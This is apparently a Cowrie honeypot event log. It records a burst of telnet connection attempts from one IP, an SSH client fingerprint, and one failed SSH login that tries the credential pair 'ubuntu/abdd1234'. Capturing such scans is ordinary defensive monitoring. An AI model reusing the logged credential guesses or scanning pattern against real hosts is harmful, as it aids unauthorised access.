{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:10.927954Z","src_ip":"38.137.11.14","session":"d5cd0d5fef50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51412,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d29d3ecfe0","protocol":"telnet","message":"New connection: 162.55.233.176:51412 (159.203.135.109:23) [session: 77d29d3ecfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:11.065909Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51422,"dst_ip":"159.203.135.109","dst_port":23,"session":"154e569fa6db","protocol":"telnet","message":"New connection: 162.55.233.176:51422 (159.203.135.109:23) [session: 154e569fa6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:11.233049Z"}
{"eventid":"cowrie.session.closed","duration":31.182294130325317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:11.256487Z","src_ip":"162.55.233.176","session":"3a8b7d5ad185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51426,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a315924403c","protocol":"telnet","message":"New connection: 162.55.233.176:51426 (159.203.135.109:23) [session: 5a315924403c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:11.526015Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"82aac07a4f05","protocol":"telnet","message":"New connection: 162.55.233.176:51430 (159.203.135.109:23) [session: 82aac07a4f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:11.769581Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abdd1234","message":"login attempt [ubuntu/abdd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:11.906934Z","src_ip":"38.137.11.14","session":"d5cd0d5fef50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00687384605408,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:12.193446Z","src_ip":"162.55.233.176","session":"2a22cace089b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51444,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e4263841aad","protocol":"telnet","message":"New connection: 162.55.233.176:51444 (159.203.135.109:23) [session: 7e4263841aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:12.255555Z"}
{"eventid":"cowrie.session.closed","duration":31.556692838668823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:12.603881Z","src_ip":"162.55.233.176","session":"a64890f94267","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.550788164138794,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:12.703348Z","src_ip":"162.55.233.176","session":"fb448287663e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44654369354248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:12.726687Z","src_ip":"162.55.233.176","session":"b25b26e5ff6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51460,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eaec9e68d7b","protocol":"telnet","message":"New connection: 162.55.233.176:51460 (159.203.135.109:23) [session: 7eaec9e68d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:12.834944Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40754,"dst_ip":"159.203.135.109","dst_port":23,"session":"2547d49e5895","protocol":"telnet","message":"New connection: 162.55.233.176:40754 (159.203.135.109:23) [session: 2547d49e5895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:13.034827Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:13.146713Z","src_ip":"38.137.11.14","session":"d5cd0d5fef50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40780,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dd04877ba7d","protocol":"telnet","message":"New connection: 162.55.233.176:40780 (159.203.135.109:23) [session: 8dd04877ba7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:13.391378Z"}
{"eventid":"cowrie.session.closed","duration":32.39270639419556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:13.802331Z","src_ip":"162.55.233.176","session":"9e7368bf23b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995567798614502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:13.942277Z","src_ip":"162.55.233.176","session":"af9e4b50b205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6444628238678,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:14.074865Z","src_ip":"162.55.233.176","session":"0654813bbe41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40782,"dst_ip":"159.203.135.109","dst_port":23,"session":"6187cc7ea0ad","protocol":"telnet","message":"New connection: 162.55.233.176:40782 (159.203.135.109:23) [session: 6187cc7ea0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:14.108272Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40770,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4adb50dfa66","protocol":"telnet","message":"New connection: 162.55.233.176:40770 (159.203.135.109:23) [session: e4adb50dfa66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:14.155983Z"}
{"eventid":"cowrie.session.closed","duration":30.641812801361084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:14.254545Z","src_ip":"162.55.233.176","session":"442538dee22e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b475197d136","protocol":"telnet","message":"New connection: 162.55.233.176:40796 (159.203.135.109:23) [session: 3b475197d136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:15.070401Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40806,"dst_ip":"159.203.135.109","dst_port":23,"session":"f685bddf1999","protocol":"telnet","message":"New connection: 162.55.233.176:40806 (159.203.135.109:23) [session: f685bddf1999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:15.130652Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40816,"dst_ip":"159.203.135.109","dst_port":23,"session":"fba064b827d6","protocol":"telnet","message":"New connection: 162.55.233.176:40816 (159.203.135.109:23) [session: fba064b827d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:15.587669Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40818,"dst_ip":"159.203.135.109","dst_port":23,"session":"d133036dcc24","protocol":"telnet","message":"New connection: 162.55.233.176:40818 (159.203.135.109:23) [session: d133036dcc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:15.740946Z"}
{"eventid":"cowrie.session.closed","duration":1.6713886260986328,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:15.827261Z","src_ip":"162.55.233.176","session":"e4adb50dfa66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40830,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ed3adf51438","protocol":"telnet","message":"New connection: 162.55.233.176:40830 (159.203.135.109:23) [session: 8ed3adf51438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:16.110394Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40824,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2d11fec934","protocol":"telnet","message":"New connection: 162.55.233.176:40824 (159.203.135.109:23) [session: 8f2d11fec934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:16.114491Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40838,"dst_ip":"159.203.135.109","dst_port":23,"session":"192a78534a6a","protocol":"telnet","message":"New connection: 162.55.233.176:40838 (159.203.135.109:23) [session: 192a78534a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:16.538660Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40848,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dd7c2192210","protocol":"telnet","message":"New connection: 162.55.233.176:40848 (159.203.135.109:23) [session: 8dd7c2192210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:16.707839Z"}
{"eventid":"cowrie.session.closed","duration":31.846881866455078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:16.894556Z","src_ip":"162.55.233.176","session":"e9a1ec8c509c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40856,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b574184e8a","protocol":"telnet","message":"New connection: 162.55.233.176:40856 (159.203.135.109:23) [session: a9b574184e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:17.096649Z"}
{"eventid":"cowrie.session.closed","duration":33.18179154396057,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:17.315395Z","src_ip":"162.55.233.176","session":"9c087614c63f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40870,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b99b0e14d6c","protocol":"telnet","message":"New connection: 162.55.233.176:40870 (159.203.135.109:23) [session: 8b99b0e14d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:17.539740Z"}
{"eventid":"cowrie.session.closed","duration":30.718658685684204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:17.565044Z","src_ip":"162.55.233.176","session":"f00c01c24e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40880,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d01613b1029","protocol":"telnet","message":"New connection: 162.55.233.176:40880 (159.203.135.109:23) [session: 4d01613b1029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:18.008017Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40888,"dst_ip":"159.203.135.109","dst_port":23,"session":"31caa3591b93","protocol":"telnet","message":"New connection: 162.55.233.176:40888 (159.203.135.109:23) [session: 31caa3591b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:18.425055Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40892,"dst_ip":"159.203.135.109","dst_port":23,"session":"134572326506","protocol":"telnet","message":"New connection: 162.55.233.176:40892 (159.203.135.109:23) [session: 134572326506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:18.738291Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fff2ba38d48","protocol":"telnet","message":"New connection: 162.55.233.176:40900 (159.203.135.109:23) [session: 9fff2ba38d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:18.941589Z"}
{"eventid":"cowrie.session.closed","duration":33.967772006988525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.033219Z","src_ip":"162.55.233.176","session":"e975e3b29b30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.793646812438965,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.274865Z","src_ip":"162.55.233.176","session":"73a7faad9475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40914,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae4d59a9222d","protocol":"telnet","message":"New connection: 162.55.233.176:40914 (159.203.135.109:23) [session: ae4d59a9222d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.301184Z"}
{"eventid":"cowrie.session.closed","duration":33.14517641067505,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.701299Z","src_ip":"162.55.233.176","session":"2e40f9c62ca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59043550491333,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.760737Z","src_ip":"162.55.233.176","session":"b57e28ce4595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40928,"dst_ip":"159.203.135.109","dst_port":23,"session":"6750df998a92","protocol":"telnet","message":"New connection: 162.55.233.176:40928 (159.203.135.109:23) [session: 6750df998a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.848853Z"}
{"eventid":"cowrie.session.closed","duration":31.376152992248535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:19.916667Z","src_ip":"162.55.233.176","session":"ee829953c3ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"90571c16089a","protocol":"telnet","message":"New connection: 162.55.233.176:40930 (159.203.135.109:23) [session: 90571c16089a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:20.046323Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d407507fc7d","protocol":"telnet","message":"New connection: 162.55.233.176:40946 (159.203.135.109:23) [session: 9d407507fc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:20.532390Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40920,"dst_ip":"159.203.135.109","dst_port":23,"session":"39718161ed5e","protocol":"telnet","message":"New connection: 162.55.233.176:40920 (159.203.135.109:23) [session: 39718161ed5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:20.600105Z"}
{"eventid":"cowrie.session.closed","duration":38.458475828170776,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.034228Z","src_ip":"162.55.233.176","session":"71c82761cdfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40956,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c92251ce4d","protocol":"telnet","message":"New connection: 162.55.233.176:40956 (159.203.135.109:23) [session: d7c92251ce4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.311496Z"}
{"eventid":"cowrie.session.closed","duration":33.23420524597168,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.358211Z","src_ip":"162.55.233.176","session":"ef16d00de492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4410879611969,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.412998Z","src_ip":"162.55.233.176","session":"f1f1f5f1f6e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248783111572266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.575822Z","src_ip":"162.55.233.176","session":"1b670c6eb53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22387719154358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.714969Z","src_ip":"162.55.233.176","session":"cd9ca844df8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54299259185791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.752684Z","src_ip":"162.55.233.176","session":"3c00a4452c89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40970,"dst_ip":"159.203.135.109","dst_port":23,"session":"94aadd368075","protocol":"telnet","message":"New connection: 162.55.233.176:40970 (159.203.135.109:23) [session: 94aadd368075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:21.801365Z"}
{"eventid":"cowrie.session.closed","duration":35.6585853099823,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.002386Z","src_ip":"162.55.233.176","session":"b6ba3e7c2103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41632556915283,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.053862Z","src_ip":"162.55.233.176","session":"2b13b0f88458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40984,"dst_ip":"159.203.135.109","dst_port":23,"session":"67df71a48fcf","protocol":"telnet","message":"New connection: 162.55.233.176:40984 (159.203.135.109:23) [session: 67df71a48fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.128434Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40994,"dst_ip":"159.203.135.109","dst_port":23,"session":"124fe3ffc804","protocol":"telnet","message":"New connection: 162.55.233.176:40994 (159.203.135.109:23) [session: 124fe3ffc804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.373202Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41004,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30dc8f0f9b6","protocol":"telnet","message":"New connection: 162.55.233.176:41004 (159.203.135.109:23) [session: e30dc8f0f9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.619085Z"}
{"eventid":"cowrie.session.closed","duration":31.061779975891113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.625139Z","src_ip":"162.55.233.176","session":"abf34f53a7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23481512069702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.634059Z","src_ip":"162.55.233.176","session":"1468664cdeee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d941aeaebd5","protocol":"telnet","message":"New connection: 162.55.233.176:41016 (159.203.135.109:23) [session: 9d941aeaebd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.723005Z"}
{"eventid":"cowrie.session.closed","duration":40.52878952026367,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:22.936433Z","src_ip":"206.189.32.23","session":"375d659e07d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44416,"dst_ip":"159.203.135.109","dst_port":23,"session":"72f6ee9ddd9d","protocol":"telnet","message":"New connection: 162.55.233.176:44416 (159.203.135.109:23) [session: 72f6ee9ddd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.033122Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44432,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b60a34e7475","protocol":"telnet","message":"New connection: 162.55.233.176:44432 (159.203.135.109:23) [session: 0b60a34e7475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.072764Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44434,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0a6877e787","protocol":"telnet","message":"New connection: 162.55.233.176:44434 (159.203.135.109:23) [session: 3b0a6877e787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.147152Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44446,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b1a20aeb6c","protocol":"telnet","message":"New connection: 162.55.233.176:44446 (159.203.135.109:23) [session: 52b1a20aeb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.218598Z"}
{"eventid":"cowrie.session.closed","duration":34.316216230392456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.446120Z","src_ip":"162.55.233.176","session":"1631e5b49a71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e02b33152df5","protocol":"telnet","message":"New connection: 162.55.233.176:44452 (159.203.135.109:23) [session: e02b33152df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.496219Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44458,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da1a45fe775","protocol":"telnet","message":"New connection: 162.55.233.176:44458 (159.203.135.109:23) [session: 5da1a45fe775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:23.869675Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44464,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc879cc46f7e","protocol":"telnet","message":"New connection: 162.55.233.176:44464 (159.203.135.109:23) [session: fc879cc46f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:24.352378Z"}
{"eventid":"cowrie.session.closed","duration":33.51593542098999,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:24.418843Z","src_ip":"162.55.233.176","session":"cf5c5ed285d3","protocol":"telnet"}
